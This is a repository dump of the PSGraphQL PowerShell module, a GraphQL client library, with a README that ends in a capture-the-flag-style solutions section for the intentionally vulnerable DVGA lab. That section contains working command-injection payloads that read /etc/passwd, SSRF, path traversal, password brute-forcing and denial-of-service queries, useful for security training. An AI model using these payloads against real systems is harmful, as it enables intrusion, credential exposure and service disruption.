├── PSGraphQL
├── PrivateFunctions
│ ├── Compress-String.ps1
│ └── Test-Uri.ps1
├── PSGraphQL.psm1
├── PSGraphQL.psd1
├── Functions
│ ├── Get-GraphQLVariableList.ps1
│ └── Invoke-GraphQLQuery.ps1
└── Tests
│ └── PSGraphQL.Tests.ps1
├── LICENSE
├── azure-pipelines.yml
└── README.md
/PSGraphQL/PrivateFunctions/Compress-String.ps1:
--------------------------------------------------------------------------------
1 | # Compresses and trims GraphQL operations for processing by this module's functions:
2 | function Compress-String([string]$InputString) {
3 | $output = ($InputString -replace "`r`n|`n", " ").Trim()
4 | return $output
5 | }
6 |
--------------------------------------------------------------------------------
/PSGraphQL/PrivateFunctions/Test-Uri.ps1:
--------------------------------------------------------------------------------
1 | function Test-Uri {
2 | param (
3 | [Parameter(Mandatory)]
4 | [String]$InputString
5 | )
6 |
7 | try {
8 | [void][System.Uri]::new($InputString)
9 | return $true
10 | }
11 | catch {
12 | return $false
13 | }
14 | }
15 |
--------------------------------------------------------------------------------
/PSGraphQL/PSGraphQL.psm1:
--------------------------------------------------------------------------------
1 | using namespace System
2 | using namespace System.Collections.Generic
3 |
4 | <#
5 | .SYNOPSIS
6 | This PowerShell module contains functions that facilitate querying and create, update, and delete (mutations) operations for GraphQL endpoints.
7 | .LINK
8 | https://graphql.org/
9 | #>
10 |
11 |
12 | #region Load Public Functions
13 |
14 | Get-ChildItem -Path $PSScriptRoot\Functions\*.ps1 | Foreach-Object { . $_.FullName }
15 |
16 | #endregion
17 |
18 |
19 | #region Load Private Functions
20 |
21 | Get-ChildItem -Path $PSScriptRoot\PrivateFunctions\*.ps1 | Foreach-Object { . $_.FullName }
22 |
23 | #endregion
24 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Copyright 2021 Anthony Guimelli
2 |
3 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
4 |
5 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
6 |
7 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
8 |
--------------------------------------------------------------------------------
/azure-pipelines.yml:
--------------------------------------------------------------------------------
1 | trigger:
2 | paths:
3 | exclude:
4 | - azure-pipelines.yml
5 | - .gitignore
6 | - LICENSE
7 | - README.md
8 | branches:
9 | include:
10 | - main
11 |
12 | variables:
13 | - name: ModuleName
14 | value: 'PSGraphQL'
15 |
16 | pool:
17 | vmImage: 'windows-latest'
18 |
19 | jobs:
20 | - job: PowerShell_CICD
21 | workspace:
22 | clean: all
23 |
24 | steps:
25 | - task: PowerShell@2
26 | inputs:
27 | targetType: 'inline'
28 | script: |
29 | Import-Module -Name Pester -Version 4.10.1
30 | Invoke-Pester
31 | ignoreLASTEXITCODE: true
32 |
33 | - task: CopyFiles@2
34 | displayName: 'Copy Module Source to Staging'
35 | inputs:
36 | SourceFolder: '$(Build.SourcesDirectory)\$(ModuleName)\'
37 | Contents: '**'
38 | TargetFolder: '$(Build.ArtifactStagingDirectory)\$(ModuleName)\'
39 | CleanTargetFolder: true
40 | OverWrite: true
41 | - task: PublishBuildArtifacts@1
42 | inputs:
43 | PathtoPublish: '$(Build.ArtifactStagingDirectory)\$(ModuleName)'
44 | ArtifactName: '$(ModuleName)'
45 | publishLocation: 'Container'
46 | - task: PSGalleryPackager@0
47 | inputs:
48 | apiKey: '$(PSGalleryApiKey)'
49 | path: '$(Build.ArtifactStagingDirectory)\$(ModuleName)'
50 | condition: and(succeeded(), ne(variables['Build.Reason'], 'PullRequest'))
51 |
--------------------------------------------------------------------------------
/PSGraphQL/PSGraphQL.psd1:
--------------------------------------------------------------------------------
1 |
2 | #
3 | # Module manifest for module 'PSGraphQL'
4 | #
5 | # Generated by: Tony Guimelli
6 | #
7 | # Generated on: 3/9/2021
8 | #
9 |
10 | @{
11 |
12 | # Script module or binary module file associated with this manifest.
13 | RootModule = '.\PSGraphQL'
14 |
15 | # Version number of this module.
16 | ModuleVersion = '2.1.1'
17 |
18 | # Compatibility
19 | CompatiblePSEditions = 'Desktop', 'Core'
20 |
21 | # ID used to uniquely identify this module
22 | GUID = '06f56284-848d-4070-9636-9c95e7cdf5be'
23 |
24 | # Author of this module
25 | Author = 'Tony Guimelli'
26 |
27 | # Minimum version of the Windows PowerShell engine required by this module
28 | PowerShellVersion = '5.1'
29 |
30 | # Description of the functionality provided by this module
31 | Description = 'This PowerShell module contains functions that facilitate querying and create, update, and delete (mutations) operations for GraphQL endpoints.'
32 |
33 | # Functions to export from this module
34 | FunctionsToExport = 'Invoke-GraphQLQuery', 'Get-GraphQLVariableList'
35 |
36 | # Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export.
37 | AliasesToExport = 'Invoke-GraphQLMutation', 'Invoke-GraphQLOperation', 'gql', 'ggqlvl'
38 |
39 | # List of all files packaged with this module
40 | FileList = 'PSGraphQL.psd1', 'PSGraphQL.psm1'
41 |
42 | PrivateData = @{
43 |
44 | PSData = @{
45 | Tags = @("GraphQL")
46 | LicenseUri = "https://github.com/anthonyg-1/PSGraphQL/blob/main/LICENSE"
47 | ProjectUri = "https://github.com/anthonyg-1/PSGraphQL"
48 | } # End PSData
49 |
50 | } # End PrivateData
51 |
52 | }
53 |
--------------------------------------------------------------------------------
/PSGraphQL/Functions/Get-GraphQLVariableList.ps1:
--------------------------------------------------------------------------------
1 | function Get-GraphQLVariableList {
2 | <#
3 | .SYNOPSIS
4 | Gets a list of variable definitions from a GraphQL query.
5 | .DESCRIPTION
6 | Gets a list of variable (argument) names, types, and nullable status from a GraphQL operation.
7 | .PARAMETER Query
8 | The GraphQL operation (query, mutation, subscription, or fragment) to obtain the variable definitions from.
9 | .PARAMETER FilePath
10 | The path to a file containing a GraphQL query to obtain the variable definitions from.
11 | .EXAMPLE
12 | $query = '
13 | query RollDice($dice: Int!, $sides: Int) {
14 | rollDice(numDice: $dice, numSides: $sides)
15 | }'
16 |
17 | Get-GraphQLVariableList -Query $query | Format-Table
18 |
19 | Gets a list of variable definitions from a GraphQL query and renders the results to the console as a table.
20 | .EXAMPLE
21 | $queryFilePath = "./queries/rolldice.gql"
22 | Get-GraphQLVariableList -FilePath $queryFilePath
23 |
24 | Gets a list of variable definitions from a file containing a GraphQL query and renders the results to the console as a table.
25 | .EXAMPLE
26 | $fragment = '
27 | fragment UserInfo($includeEmail: Boolean!) on User {
28 | name
29 | email @include(if: $includeEmail)
30 | }'
31 |
32 | Get-GraphQLVariableList -Query $fragment
33 |
34 | Gets a list of variable definitions from a GraphQL fragment.
35 | .INPUTS
36 | System.String
37 | .LINK
38 | https://graphql.org/
39 | Format-Table
40 | Invoke-GraphQLQuery
41 | #>
42 | [CmdletBinding()]
43 | [Alias('ggqlvl')]
44 | [OutputType([GraphQLVariable], [System.Collections.Hashtable])]
45 | <##>
46 | Param
47 | (
48 | [Parameter(Mandatory = $true, ParameterSetName = "Query",
49 | ValueFromPipeline = $true,
50 | Position = 0)][ValidateLength(12, 1073741791)][Alias("Operation", "Mutation", "Fragment")][System.String]$Query,
51 |
52 | [Parameter(Mandatory = $false, ParameterSetName = "FilePath", Position = 0)][ValidateNotNullOrEmpty()][Alias('f', 'Path')][System.IO.FileInfo]$FilePath
53 |
54 | )
55 | BEGIN {
56 | class GraphQLVariable {
57 | [bool]$HasVariables = $false
58 | [string]$Operation = ""
59 | [string]$OperationType = ""
60 | [string]$Parameter = ""
61 | [string]$Type = ""
62 | [nullable[bool]]$Nullable = $null
63 | [nullable[bool]]$IsArray = $null
64 | [string]$RawType = ""
65 | }
66 | }
67 | PROCESS {
68 | # Exception to be used through the function in the case that an invalid GraphQL query or mutation is passed:
69 | $ArgumentException = New-Object -TypeName ArgumentException -ArgumentList "Not a valid GraphQL operation (query, mutation, subscription, or fragment). Verify syntax and try again."
70 |
71 | # Get the raw GraphQL query content
72 | [string]$graphQlQuery = $Query
73 |
74 | if ($PSBoundParameters.ContainsKey("FilePath")) {
75 | if (Test-Path -Path $FilePath) {
76 | $graphQlQuery = Get-Content -Path $FilePath -Raw
77 | }
78 | else {
79 | Write-Error "Unable to read file at path: $FilePath" -Category ReadError -ErrorAction Stop
80 | }
81 | }
82 |
83 | # Ensure we have valid input
84 | if ([string]::IsNullOrWhiteSpace($graphQlQuery)) {
85 | Write-Error -Exception $ArgumentException -Category InvalidArgument -ErrorAction Stop
86 | }
87 |
88 | # Remove comments and normalize whitespace
89 | $cleanQuery = $graphQlQuery -replace '#[^\r\n]*', '' -replace '\s+', ' '
90 |
91 | # Simple check for operation keywords
92 | if (-not ($cleanQuery -match '(query|mutation|subscription|fragment)')) {
93 | Write-Error -Exception $ArgumentException -Category InvalidArgument -ErrorAction Stop
94 | }
95 |
96 | # List of objects that are returned by default:
97 | $results = [System.Collections.Generic.List[GraphQLVariable]]::new()
98 |
99 | # Parse the entire query at once using more comprehensive regex
100 | # This regex captures: operation type, optional name, optional variables in parentheses, optional "on Type" for fragments
101 | $fullOperationPattern = '(query|mutation|subscription|fragment)\s*([a-zA-Z_][a-zA-Z0-9_]*)?\s*(\([^)]+\))?\s*(on\s+[a-zA-Z_][a-zA-Z0-9_]*)?\s*\{'
102 |
103 | # Variable pattern to extract individual variables from the parentheses
104 | $variablePattern = '\$([a-zA-Z_][a-zA-Z0-9_]*)\s*:\s*([a-zA-Z0-9_\[\]!]+)(?:\s*=\s*[^,)]+)?'
105 |
106 | $operationMatches = [regex]::Matches($cleanQuery, $fullOperationPattern, 'IgnoreCase')
107 |
108 | if ($operationMatches.Count -eq 0) {
109 | Write-Error -Exception $ArgumentException -Category InvalidArgument -ErrorAction Stop
110 | }
111 |
112 | foreach ($operationMatch in $operationMatches) {
113 | $operationType = $operationMatch.Groups[1].Value.ToLower()
114 | $operationName = if ($operationMatch.Groups[2].Success) { $operationMatch.Groups[2].Value } else { $operationType }
115 | $variablesSection = if ($operationMatch.Groups[3].Success) { $operationMatch.Groups[3].Value } else { "" }
116 | $onType = if ($operationMatch.Groups[4].Success) { $operationMatch.Groups[4].Value } else { "" }
117 |
118 | # For fragments, include the "on Type" part in the operation name if present
119 | if ($operationType -eq "fragment" -and $onType) {
120 | $operationName = if ($operationMatch.Groups[2].Success) {
121 | "$($operationMatch.Groups[2].Value) $onType"
122 | } else {
123 | $onType
124 | }
125 | }
126 |
127 | # Extract variables from the variables section
128 | if ($variablesSection) {
129 | $variableMatches = [regex]::Matches($variablesSection, $variablePattern)
130 |
131 | if ($variableMatches.Count -gt 0) {
132 | foreach ($variableMatch in $variableMatches) {
133 | $paramName = $variableMatch.Groups[1].Value
134 | $rawType = $variableMatch.Groups[2].Value
135 |
136 | $gqlVariable = [GraphQLVariable]::new()
137 | $gqlVariable.HasVariables = $true
138 | $gqlVariable.Operation = $operationName
139 | $gqlVariable.OperationType = $operationType
140 | $gqlVariable.Parameter = $paramName
141 | $gqlVariable.RawType = $rawType
142 |
143 | # Parse type information
144 | $cleanType = $rawType -replace '[\[\]!]', ''
145 | $gqlVariable.Type = $cleanType
146 |
147 | # Check if nullable (! means non-null, so nullable = false if ! is present)
148 | $gqlVariable.Nullable = -not $rawType.Contains('!')
149 |
150 | # Check if array
151 | $gqlVariable.IsArray = $rawType.Contains('[') -and $rawType.Contains(']')
152 |
153 | $results.Add($gqlVariable)
154 | }
155 | } else {
156 | # Operation exists but no variables
157 | $gqlVariable = [GraphQLVariable]::new()
158 | $gqlVariable.HasVariables = $false
159 | $gqlVariable.Operation = $operationName
160 | $gqlVariable.OperationType = $operationType
161 | $results.Add($gqlVariable)
162 | }
163 | } else {
164 | # Operation exists but no variables section
165 | $gqlVariable = [GraphQLVariable]::new()
166 | $gqlVariable.HasVariables = $false
167 | $gqlVariable.Operation = $operationName
168 | $gqlVariable.OperationType = $operationType
169 | $results.Add($gqlVariable)
170 | }
171 | }
172 |
173 | if ($results.Count -eq 0) {
174 | Write-Error -Exception $ArgumentException -Category InvalidArgument -ErrorAction Stop
175 | }
176 |
177 | return $results
178 | }
179 | }
180 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # PSGraphQL
2 | This PowerShell module contains functions that facilitate query and mutation operations against GraphQL endpoints.
3 |
4 | ### Tested on
5 | :desktop_computer: `Windows 10/11`
6 | :penguin: `Linux`
7 | :apple: `MacOS`
8 |
9 | ### Requirements
10 | Requires PowerShell 5.1 or above.
11 |
12 | ### Installation
13 |
14 | ```powershell
15 | Install-Module -Name PSGraphQL -Repository PSGallery -Scope CurrentUser
16 | ```
17 |
18 | ## Examples
19 |
20 | ### Post a GraphQL query to an endpoint including operation name and variables
21 | ```powershell
22 |
23 | $uri = "https://mytargetserver/v1/graphql"
24 |
25 | $query = '
26 | query RollDice($dice: Int!, $sides: Int!) {
27 | rollDice(numDice: $dice, numSides: $sides)
28 | }'
29 |
30 | $opName = "RollDice"
31 |
32 | $variables = '
33 | {
34 | "dice": 3,
35 | "sides": 6
36 | }'
37 |
38 | Invoke-GraphQLQuery -Query $query -OperationName $opName -Variables $variables -Uri $uri
39 | ```
40 |
41 | ### Post a GraphQL query with a query defined in a file
42 | ```powershell
43 | $uri = "https://mytargetserver/v1/graphql"
44 |
45 | $queryFilePath = "./queries/rolldice.gql"
46 |
47 | Invoke-GraphQLQuery -FilePath $queryFilePath -Uri $uri
48 | ```
49 |
50 | ### Post a GraphQL query to an endpoint including operation name and variables as a HashTable
51 | ```powershell
52 |
53 | $uri = "https://mytargetserver/v1/graphql"
54 |
55 | $query = '
56 | query RollDice($dice: Int!, $sides: Int!) {
57 | rollDice(numDice: $dice, numSides: $sides)
58 | }'
59 |
60 | $opName = "RollDice"
61 | $variables = @{dice=3; sides=6}
62 |
63 | Invoke-GraphQLQuery -Query $query -OperationName $opName -Variables $variables -Uri $uri
64 | ```
65 |
66 | ### Post a GraphQL introspection query to an endpoint with the results returned as JSON
67 |
68 | ```powershell
69 | $uri = "https://mytargetserver/v1/graphql"
70 |
71 | $introspectionQuery = '
72 | query allSchemaTypes {
73 | __schema {
74 | types {
75 | name
76 | kind
77 | description
78 | }
79 | }
80 | }
81 | '
82 |
83 | Invoke-GraphQLQuery -Query $introspectionQuery -Uri $uri -Raw
84 | ```
85 |
86 | ### Post a GraphQL query to an endpoint with the results returned as objects
87 |
88 | ```powershell
89 | $uri = "https://mytargetserver/v1/graphql"
90 |
91 | $myQuery = '
92 | query {
93 | users {
94 | created_at
95 | id
96 | last_seen
97 | name
98 | }
99 | }
100 | '
101 |
102 | Invoke-GraphQLQuery -Query $myQuery -Uri $uri
103 | ```
104 |
105 | ### Post a GraphQL mutation to an endpoint with the results returned as JSON
106 |
107 | ```powershell
108 | $uri = "https://mytargetserver/v1/graphql"
109 |
110 | $myMutation = '
111 | mutation MyMutation {
112 | insert_users_one(object: {id: "57", name: "FirstName LastName"}) {
113 | id
114 | }
115 | }
116 | '
117 |
118 | $requestHeaders = @{ "x-api-key"='aoMGY{+93dx&t!5)VMu4pI8U8T.ULO' }
119 |
120 | $jsonResult = Invoke-GraphQLQuery -Mutation $myMutation -Headers $requestHeaders -Uri $uri -Raw
121 | ```
122 |
123 | ### Post a GraphQL query using JWT for authentication to an endpoint and navigate the results
124 |
125 | ```powershell
126 | $jwt = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2MjAzOTMwMjgsIm5iZiI6MTYyMDM5MzAyNywiZXhwIjoxNjIwMzkzMzI4LCJzdWIiOiJtZUBjb21wYW55LmNvbSIsImp0aSI6ImMwZTk0ZTY0ODc4ZjRlZDFhZWM3YWYwYzViOWM2ZWI5Iiwicm9sZSI6InVzZXIifQ.HaTXDunEjmyUsHs7daLe-AxEpmq58QqqFziydm7MBic"
127 |
128 | $headers = @{Authorization="Bearer $jwt"}
129 |
130 | $uri = "https://mytargetserver/v1/graphql"
131 |
132 | $myQuery = '
133 | query GetUsers {
134 | users {
135 | created_at
136 | id
137 | last_seen
138 | name
139 | }
140 | }
141 | '
142 |
143 | $result = Invoke-GraphQLQuery -Query $myQuery -Headers $headers -Uri $uri
144 | $result.data.users | Format-Table
145 | ```
146 |
147 | ### Post a GraphQL query to an endpoint with the results returned as JSON (as a one-liner using aliases)
148 |
149 | ```powershell
150 | gql -q 'query { users { created_at id last_seen name } }' -u 'https://mytargetserver/v1/graphql' -r
151 | ```
152 |
153 | ### Get a list of variable definitions from a GraphQL query
154 | ```powershell
155 | $query = '
156 | query RollDice($dice: Int!, $sides: Int) {
157 | rollDice(numDice: $dice, numSides: $sides)
158 | }'
159 |
160 | Get-GraphQLVariableList -Query $query
161 | ```
162 |
163 | ### Perform parameter fuzzing against a GraphQL endpoint based on discovered parameters (security testing)
164 | ```powershell
165 | $mutation = '
166 | mutation AddNewPet ($name: String!, $petType: PetType, $petLocation: String!, $petId: Int!) {
167 | addPet(name: $name, petType: $petType, location: $petLocation, id: $petId) {
168 | name
169 | petType
170 | location
171 | id
172 | }
173 | }'
174 |
175 | $wordListPath = ".\SQL.txt"
176 | $words = [IO.File]::ReadAllLines($wordListPath)
177 |
178 | $uri = "https://mytargetserver/v1/graphql"
179 |
180 | # Array to store results from Invoke-GraphQLQuery -Detailed for later analysis:
181 | $results = @()
182 |
183 | # Get the variable definition from the supplied mutation:
184 | $variableList = $mutation | Get-GraphQLVariableList
185 |
186 | $words | ForEach-Object {
187 | $queryVarTable = @{}
188 | $word = $_
189 |
190 | $variableList | Select Parameter, Type | ForEach-Object {
191 | $randomInt = Get-Random
192 | if ($_.Type -eq "Int") {
193 | if (-not($queryVarTable.ContainsKey($_.Parameter))) {
194 | $queryVarTable.Add($_.Parameter, $randomInt)
195 | }
196 | }
197 | else {
198 | if (-not($queryVarTable.ContainsKey($_.Parameter))) {
199 | $queryVarTable.Add($_.Parameter, $word)
200 | }
201 | }
202 | }
203 |
204 | $gqlResult = Invoke-GraphQLQuery -Mutation $mutation -Variables $queryVarTable -Headers $headers -Uri $uri -Detailed
205 | $result = [PSCustomObject]@{ParamValues = ($queryVarTable); Result = ($gqlResult) }
206 | $results += $result
207 | }
208 | ```
209 |
210 | # Damn Vulnerable GraphQL Application Solutions
211 |
212 | The "Damn Vulnerable GraphQL Application" is an intentionally vulnerable implementation of the GraphQL technology that allows a tester to learn and practice GraphQL security. For more on DVGQL, please see: https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application
213 |
214 | The solutions below are written in PowerShell exclusively but one of the solutions required Invoke-WebRequest as opposed to Invoke-GraphQLQuery.
215 |
216 | ```powershell
217 | # GraphQL endpoint for all solutions below:
218 | $gqlEndpointUri = "https://mygraphqlserver.company.com/graphql"
219 | ```
220 |
221 |
222 | ## Denial of Service :: Batch Query Attack
223 |
224 | ```powershell
225 | # Specify amount of queries to generate:
226 | $amountOfQueries = 100
227 |
228 | # Base query:
229 | $sysUpdateQuery = '
230 | query {
231 | systemUpdate
232 | }
233 | '
234 |
235 | # For 1 to $amountOfQueries, concatenate $sysUpdateQuery and assign to $batchQueryAttackPayload:
236 | $batchQueryAttackPayload = ((1..$amountOfQueries | ForEach-Object { $sysUpdateQuery }).Trim()) -join "`r`n"
237 |
238 | # Post batch attack to GraphQL endpoint:
239 | Invoke-GraphQLQuery -Uri $gqlEndpointUri -Query $batchQueryAttackPayload
240 | ```
241 |
242 | ## Denial of Service :: Deep Recursion Query Attack
243 | ```powershell
244 |
245 | $depthAttackQuery = '
246 | query {
247 | pastes {
248 | owner {
249 | paste {
250 | edges {
251 | node {
252 | owner {
253 | paste {
254 | edges {
255 | node {
256 | owner {
257 | paste {
258 | edges {
259 | node {
260 | owner {
261 | id
262 | }
263 | }
264 | }
265 | }
266 | }
267 | }
268 | }
269 | }
270 | }
271 | }
272 | }
273 | }
274 | }
275 | }
276 | }
277 | '
278 |
279 | Invoke-GraphQLQuery -Query $depthAttackQuery -Uri $gqlEndpointUri -Raw
280 | ```
281 |
282 |
283 | ## Denial of Service :: Resource Intensive Query Attack
284 | ```powershell
285 | $timingTestPayload = '
286 | query TimingTest {
287 | systemUpdate
288 | }
289 | '
290 |
291 | $start = Get-Date
292 |
293 | Invoke-GraphQLQuery -Query $timingTestPayload -Uri $gqlEndpointUri -Raw
294 |
295 | $end = Get-Date
296 |
297 | $delta = $end - $start
298 | $totalSeconds = $delta.Seconds
299 | $message = "Total seconds to execute query: {0}" -f $totalSeconds
300 |
301 | Write-Host -Object $message -ForegroundColor Cyan
302 | ```
303 |
304 | ## Information Disclosure :: GraphQL Introspection
305 | ```powershell
306 | $introspectionQuery = '
307 | query {
308 | __schema {
309 | queryType { name }
310 | mutationType { name }
311 | subscriptionType { name }
312 | }
313 | }
314 | '
315 |
316 | Invoke-GraphQLQuery -Query $introspectionQuery -Uri $gqlEndpointUri -Raw
317 | ```
318 |
319 |
320 | ## Information Disclosure :: GraphQL Interface
321 | ```powershell
322 |
323 | $graphiqlUri = "{0}/graphiql" -f $targetUri
324 |
325 | $headers = @{Accept="text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"}
326 |
327 | Invoke-WebRequest -Uri $graphiqlUri -Headers $headers -Method Get -UseBasicParsing | Select -ExpandProperty Content
328 | ```
329 |
330 |
331 | ## Information Disclosure :: GraphQL Field Suggestions
332 | ```powershell
333 | $fieldSuggestionsQuery = '
334 | query {
335 | systemUpdate
336 | }
337 | '
338 |
339 | Invoke-GraphQLQuery -Query $fieldSuggestionsQuery -Uri $gqlEndpointUri -Raw
340 | ```
341 |
342 |
343 | ## Information Disclosure :: Server Side Request Forgery
344 | ```powershell
345 | $requestForgeryMutation = '
346 | mutation {
347 | importPaste(host:"localhost", port:57130, path:"/", scheme:"http") {
348 | result
349 | }
350 | }
351 | '
352 |
353 | Invoke-GraphQLQuery -Mutation $requestForgeryMutation -Uri $gqlEndpointUri -Raw
354 | ```
355 |
356 |
357 | ## Code Execution :: OS Command Injection #1
358 | ```powershell
359 | $commandToInject = "ls -al"
360 |
361 | $commandInjectionMutation = '
362 | mutation {
363 | importPaste(host:"localhost", port:80, path:"/ ; ' + $commandToInject + '", scheme:"http"){
364 | result
365 | }
366 | }
367 | '
368 |
369 | $response = Invoke-GraphQLQuery -Mutation $commandInjectionMutation -Uri $gqlEndpointUri
370 |
371 | $result = $response.data.importPaste.result
372 |
373 | Write-Host -Object $result -ForegroundColor Magenta
374 | ```
375 |
376 |
377 | ## Code Execution :: OS Command Injection #2
378 | ```powershell
379 | # Admin creds for DVGQL:
380 | $userName = "admin"
381 | $password = "password"
382 |
383 | $commandToInject = "ls -alr"
384 |
385 | $commandInjectionQuery = '
386 | query {
387 | systemDiagnostics(username:"' + $userName + '" password:"' + $password + '", cmd:"id; ' + $commandToInject + '")
388 | }
389 | '
390 |
391 | Invoke-GraphQLQuery -Query $commandInjectionQuery -Uri $gqlEndpointUri -Raw
392 | ```
393 |
394 | ## Code Execution :: OS Command Injection #3
395 | ```powershell
396 | # Admin creds for DVGQL:
397 | $userName = "admin"
398 | $password = "password"
399 |
400 | $commandToInject = "cat /etc/passwd"
401 |
402 | $commandInjectionQuery = '
403 | query {
404 | systemDiagnostics(username:"' + $userName + '" password:"' + $password + '", cmd:"' + $commandToInject + '")
405 | }
406 | '
407 |
408 | Invoke-GraphQLQuery -Query $commandInjectionQuery -Uri $gqlEndpointUri -Raw
409 | ```
410 |
411 | ## Code Execution :: OS Command Injection #4
412 | ```powershell
413 | # Credit Zachary Asher for this one!
414 | # This is abstracting "cat /etc/passwd via the following:
415 | # 1. Change directory via "cd" repeatedly to get to the root directory
416 | # 2. Change director to the etc directory...
417 | # 3. ...and finally execute "cat" (concatenate) to read the contents of the passwd file:
418 | $commandToInject = "cd .. && cd .. && cd .. && cd etc && cat passwd"
419 |
420 | $commandInjectionMutation = '
421 | mutation {
422 | importPaste(host:"localhost", port:80, path:"/ ; ' + $commandToInject + '", scheme:"http"){
423 | result
424 | }
425 | }
426 | '
427 |
428 | $response = $null
429 | try {
430 | $response = Invoke-GraphQLQuery -Mutation $commandInjectionMutation -Uri $gqlEndpointUri -ErrorAction Stop
431 | $result = $response.data.importPaste.result
432 | Write-Host -Object $result -ForegroundColor Magenta
433 | }
434 | catch
435 | {
436 | Write-Host -Object $_.Exception -ForegroundColor Red
437 | }
438 | ```
439 |
440 | ## Code Execution :: OS Command Injection #5
441 | ```powershell
442 | # Find all conf files:
443 | $commandToInject = "find / -type f -name '*.conf' 2>/dev/null"
444 |
445 | $commandInjectionMutation = '
446 | mutation {
447 | importPaste(host:"localhost", port:80, path:"/ ; ' + $commandToInject + '", scheme:"http"){
448 | result
449 | }
450 | }
451 | '
452 |
453 | $response = $null
454 | try {
455 | $response = Invoke-GraphQLQuery -Mutation $commandInjectionMutation -Uri $gqlEndpointUri -ErrorAction Stop
456 | $result = $response.data.importPaste.result
457 | Write-Host -Object $result -ForegroundColor Magenta
458 | }
459 | catch
460 | {
461 | Write-Host -Object $_.Exception -ForegroundColor Red
462 | }
463 | ```
464 |
465 |
466 |
467 | ## Injection :: Stored Cross Site Scripting
468 | ```powershell
469 | $xssInjectionMutation = '
470 | mutation XcssMutation {
471 | uploadPaste(content: "", filename: "C:\\temp\\file.txt") {
472 | content
473 | filename
474 | result
475 | }
476 | }
477 | '
478 |
479 | Invoke-GraphQLQuery -Mutation $xssInjectionMutation -Uri $gqlEndpointUri -Raw
480 | ```
481 |
482 |
483 | ## Injection :: Log Injection
484 | ```powershell
485 | $logInjectionMutation = '
486 | mutation getPaste{
487 | createPaste(title:"", content:"zzzz", public:true) {
488 | burn
489 | content
490 | public
491 | title
492 | }
493 | }
494 | '
495 |
496 | Invoke-GraphQLQuery -Mutation $logInjectionMutation -Uri $gqlEndpointUri
497 | ```
498 |
499 |
500 | ## Injection :: HTML Injection
501 | ```powershell
502 | $htmlInjectionMutation = '
503 | mutation myHtmlInjectionMutation {
504 | createPaste(title:"
hello!
", content:"zzzz", public:true) {
505 | burn
506 | content
507 | public
508 | title
509 | }
510 | }
511 | '
512 |
513 | Invoke-GraphQLQuery -Mutation $htmlInjectionMutation -Uri $gqlEndpointUri -Raw
514 | ```
515 |
516 |
517 | ## Authorization Bypass :: GraphQL Interface Protection Bypass
518 | ```powershell
519 | $reconQuery = '
520 | query IntrospectionQuery {
521 | __schema {
522 | queryType {
523 | name
524 | }
525 | mutationType {
526 | name
527 | }
528 | subscriptionType {
529 | name
530 | }
531 | }
532 | }
533 | '
534 |
535 | $session = [Microsoft.PowerShell.Commands.WebRequestSession]::new()
536 | $cookie = [System.Net.Cookie]::new()
537 | $cookie.Name = "env"
538 | # $cookie.Value = "Z3JhcGhpcWw6ZGlzYWJsZQ" # This is base64 for graphiql:disable
539 | $cookie.Value = "Z3JhcGhpcWw6ZW5hYmxl" # This is base64 for graphiql:enable
540 | $domain = [Uri]::new($gqlEndpointUri).Host
541 | $cookie.Domain = $domain
542 | $session.Cookies.Add($cookie)
543 |
544 | Invoke-GraphQLQuery -Query $reconQuery -Uri $gqlEndpointUri -WebSession $session -Raw
545 | ```
546 |
547 |
548 | ## GraphQL Query Deny List Bypass
549 | ```powershell
550 | $bypassQuery = '
551 | query BypassMe {
552 | systemHealth
553 | }
554 | '
555 |
556 | $headers= @{'X-DVGA-MODE'='Expert'}
557 |
558 | Invoke-GraphQLQuery -Query $bypassQuery -Uri $gqlEndpointUri -Headers $headers -Raw
559 | ```
560 |
561 |
562 | ## Miscellaneous :: Arbitrary File Write // Path Traversal
563 | ```powershell
564 | $pathTraversalMutation = '
565 | mutation PathTraversalMutation {
566 | uploadPaste(filename:"../../../../../tmp/file.txt", content:"path traversal test successful"){
567 | result
568 | }
569 | }
570 | '
571 |
572 | Invoke-GraphQLQuery -Mutation $pathTraversalMutation -Uri $gqlEndpointUri -Raw
573 | ```
574 |
575 |
576 | ## Miscellaneous :: GraphQL Query Weak Password Protection
577 | ```powershell
578 | $passwordList = @('admin123', 'pass123', 'adminadmin', '123', 'password', 'changeme', 'password54321', 'letmein', 'admin123', 'iloveyou', '00000000')
579 |
580 | $command = "ls"
581 |
582 | foreach ($pw in $passwordList)
583 | {
584 | $bruteForceAuthQuery = '
585 | query bruteForceQuery {
586 | systemDiagnostics(username: "admin", password: "' + $pw + '", cmd: "' + $command + '")
587 | }
588 | '
589 |
590 | $result = Invoke-GraphQLQuery -Query $bruteForceAuthQuery -Uri $gqlEndpointUri
591 |
592 | if ($result.data.systemDiagnostics -ne "Password Incorrect") {
593 | Write-Host -Object $("The password is: ") -ForegroundColor Yellow -NoNewline
594 | Write-Host -Object $pw -ForegroundColor Green
595 | }
596 | }
597 | ```
598 |
--------------------------------------------------------------------------------
/PSGraphQL/Functions/Invoke-GraphQLQuery.ps1:
--------------------------------------------------------------------------------
1 | function Invoke-GraphQLQuery {
2 | <#
3 | .SYNOPSIS
4 | Sends a query or mutation to a GraphQL endpoint.
5 | .DESCRIPTION
6 | Sends a query (read operation) or mutation (create, update, delete operation) to a GraphQL endpoint.
